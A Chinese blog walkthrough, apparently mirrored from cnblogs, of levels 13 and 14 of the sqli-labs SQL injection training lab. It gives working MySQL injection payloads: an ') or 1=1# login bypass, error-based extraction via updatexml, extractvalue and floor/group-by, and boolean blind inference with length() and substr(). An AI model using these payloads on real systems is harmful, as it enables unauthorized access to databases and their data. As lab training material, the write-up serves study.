zoukankan      html  css  js  c++  java
  • sql-labs第十三题,十四题

    第十三题

    1 查找注入漏洞

    1.1 输入单引号触发错误

    从错误信息判断,提交的参数需要闭合单引号和括号

    1.2 构造payload,验证注入漏洞

    提交如下内容
    ') or 1=1#
    成功登录

    2 漏洞利用

    2.1 MYSQL显错式注入

    关于 MySQL显错注入

    1. 通过updatexml函数,执行SQL语句
      payload:') and updatexml(1,(concat(0x7c,(select @@VERSION))),1)#

    2. 通过extractvalue函数,执行SQL语句
      payload:') and extractvalue(1,concat(0x7c,(select user())))#

    3. 通过floor函数,执行SQL语句
      payload:') union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b#

    4. 通过group by重复键冲突显错
      payload:') union select concat(left(rand(),3),'^',(select version()),'^')a,count(*) from information_schema.tables group by a#

    2.2 使用条件语句推断数据

    根据登录状态推断数据
    因为当注入 ') or 1=2# 会登录失败,而注入 ') or 1=1# 会登录成功。那么就可以构造条件语句来判断推断的信息是否正确。
    eg:推断当前用户名
    首先使用length函数推断用户名的长度
    payload:') or length(user())=14#
    长度正确时登录成功

    然后逐字符推断用户名
    payload:') or substr(user(),1,1)='r'#
    推断当前用户名的第一个字符是不是'r'如果是则能成功登录,如果不是则登录失败。

    修改参数推断第二个字符 ') or substr(user(),2,1)='x'#
    。。。直到获得完整用户名。

    第十四题

    与十三题类似,单引号换为双引号,无需闭合括号。

  • 相关阅读:
    sql排序对比(row_number,rank,dense_rank)
    SQL分组排名+行转列
    MS SQL 权限设置脚本
    centos8容器中安装lamp及wordpress
    MacOS禁止向日葵开机启动
    docker(1)
    centos7的firewalld
    ssh免密码
    CENTOS7安装vsftp
    centos 7 安装samba配置匿名共享文件夹
  • 原文地址:https://www.cnblogs.com/a-qi/p/13531609.html
Copyright © 2011-2022 走看看